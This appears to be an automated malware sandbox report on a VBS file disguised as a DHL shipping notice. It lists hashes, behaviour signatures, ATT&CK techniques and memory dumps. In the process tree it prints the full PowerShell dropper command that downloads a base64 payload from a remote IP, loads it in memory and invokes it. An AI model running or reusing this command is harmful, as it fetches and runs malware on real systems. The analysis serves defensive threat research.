07cd45dbe94b262e5e4e3e750aefd021e49faf521d2c770b2c5d344222db2505

Analysis

max time kernel
41s
max time network
68s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
06-12-2022 07:02

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General

Target

nueva notificación de envío de DHL.vbs
Size

209KB
MD5

88576ebcf941888f81b86e9289be3e61
SHA1

05798a254c5a901f07def753fd465ae0234deca7
SHA256

07cd45dbe94b262e5e4e3e750aefd021e49faf521d2c770b2c5d344222db2505
SHA512

3935272b73be55ae31689514e8b77e90c1b618445259a55c9e3dd497a0bbf7100ac1492eeba60faf62b6d84a08bf364fa864dd357f0cb920c0502a66577ade0b
SSDEEP

3072:eXFJliLfuE8ozlADw8auustFmbicHyAwOt4MYI2x75nehsqgB3F23st+Zn3F/Mvu:sliLfudcHyU

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://4.204.233.44/DLL/NoStartUp.ppam

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 2024 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2024 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2024 powershell.exe

flow	pid	process
4	2024	powershell.exe

pid	process
2024	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2024	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1808 wrote to memory of 2024	1808	WScript.exe	powershell.exe
PID 1808 wrote to memory of 2024	1808	WScript.exe	powershell.exe
PID 1808 wrote to memory of 2024	1808	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nueva notificación de envío de DHL.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://4.204.233.44/DLL/NoStartUp.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.skzjbcbgghzjgj/42.021.871.591//:ptth'))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2024

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1808-54-0x000007FEFB7C1000-0x000007FEFB7C3000-memory.dmp

Filesize
8KB

Download
memory/2024-55-0x0000000000000000-mapping.dmp

Download
memory/2024-57-0x000007FEF3350000-0x000007FEF3D73000-memory.dmp

Filesize
10.1MB

Download
memory/2024-59-0x00000000026C4000-0x00000000026C7000-memory.dmp

Filesize
12KB

Download
memory/2024-58-0x000007FEF27F0000-0x000007FEF334D000-memory.dmp

Filesize
11.4MB

Download
memory/2024-60-0x000000001B740000-0x000000001BA3F000-memory.dmp

Filesize
3.0MB

Download
memory/2024-61-0x00000000026CB000-0x00000000026EA000-memory.dmp

Filesize
124KB

Download
memory/2024-62-0x00000000026C4000-0x00000000026C7000-memory.dmp

Filesize
12KB

Download
memory/2024-63-0x00000000026CB000-0x00000000026EA000-memory.dmp

Filesize
124KB

Download
memory/2024-64-0x00000000026C4000-0x00000000026C7000-memory.dmp

Filesize
12KB

Download
memory/2024-65-0x00000000026CB000-0x00000000026EA000-memory.dmp

Filesize
124KB

Download